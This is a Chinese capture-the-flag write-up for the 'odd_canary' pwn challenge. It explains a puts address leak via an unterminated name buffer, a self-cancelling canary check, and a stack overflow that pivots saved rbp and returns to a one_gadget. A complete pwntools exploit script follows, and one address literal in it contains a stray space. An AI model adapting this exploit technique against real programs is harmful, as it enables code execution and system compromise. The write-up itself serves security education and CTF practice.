湾区杯复现PWN

湾区杯复现odd_canary(one_gadget)

解题思路

主函数

image-20251009191841271

get_news函数

buf空间为5*8=40也就是0x28字节

image-20251009191844418

这段代码意思是在 输入字节数+1 的地址处写入10 也就是\n换行符

1
*(buf + read(0, buf, 0x28uLL)) = 10;

下面直接跟着把puts函数的真实地址给了bss

跟进之后地址在404080

就是在name的32字节缓冲区之后紧接着,printf函数在没接到NULL的时候会一直输出

所以这里会把puts函数的真实地址泄露,从而计算libc

这个函数就是这个作用

image-20251009191847776

下面是vuln函数

image-20251009191850203

这里看似有canary

实则v1=v3之后,后面相当于v3和自己异或返回0,所以这个操作相当于自己绕过了

溢出之后栈中没多少空间了,这里用one_gadget

找到偏移,限制是必须在rbp-0x78这里是可写的

image-20251009191853190

用vmmap查看内存布局

在这个地址之间是可以写入的

image-20251009191855808

将0x404800覆盖为保存的rbp

返回地址填充one_gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
高地址
+---------------------+
| 保存的返回地址 | ← rbp + 8
+---------------------+
| 保存的 rbp | ← rbp
+---------------------+
| v1 [8字节] | ← rbp - 0x38
+---------------------+
| buf[4] [8字节] | ← rbp - 0x30 + 0x20 = rbp - 0x10
+---------------------+
| buf[3] [8字节] | ← rbp - 0x30 + 0x18 = rbp - 0x18
+---------------------+
| buf[2] [8字节] | ← rbp - 0x30 + 0x10 = rbp - 0x20
+---------------------+
| buf[1] [8字节] | ← rbp - 0x30 + 0x8 = rbp - 0x28
+---------------------+
| buf[0] [8字节] | ← rbp - 0x30
+---------------------+
| v3 [8字节] | ← rbp - 0x8 (canary)
+---------------------+
低地址

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('/home/sirius/桌面/CTF/odd_canary' )
# io = remote("pwn-a6e8e104b0.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF('/home/sirius/桌面/CTF/odd_canary' )
libc=ELF('/home/sirius/桌面/CTF/2.35-0ubuntu3.10_amd64/libc.so.6')

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ui = lambda data :int(data,16)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
debug = lambda :gdb.attach(io)

def good(name):
sa('Choose (good/vuln/exit): ','good')
sa('name first:\n',name)

def vuln(payload):
sa('Choose (good/vuln/exit): ','vuln')
sa('payload: \n',payload)

def exit(yn):
sa('Choose (good/vuln/exit): ','exit')
sa('Are you sure ? [y/n]\n',yn)
#debug()

good('a'*0x1f)
sa('Choose (good/vuln/exit): ','good')
ru('I will tell you good news,'+'a'*0x1f+'\n')
libc_base = uu64(r(6)) - libc.sym['puts']
lg('libc_base',libc_base)
one_gadget = libc_base + 0xebc81
sa('name first:\n','a'*0x1f)
payload = b'exec'
payload = payload.ljust(0x30,b'\x00') + p64(0x40 4800) + p64(one_gadget)
#debug()
vuln(payload)
itr()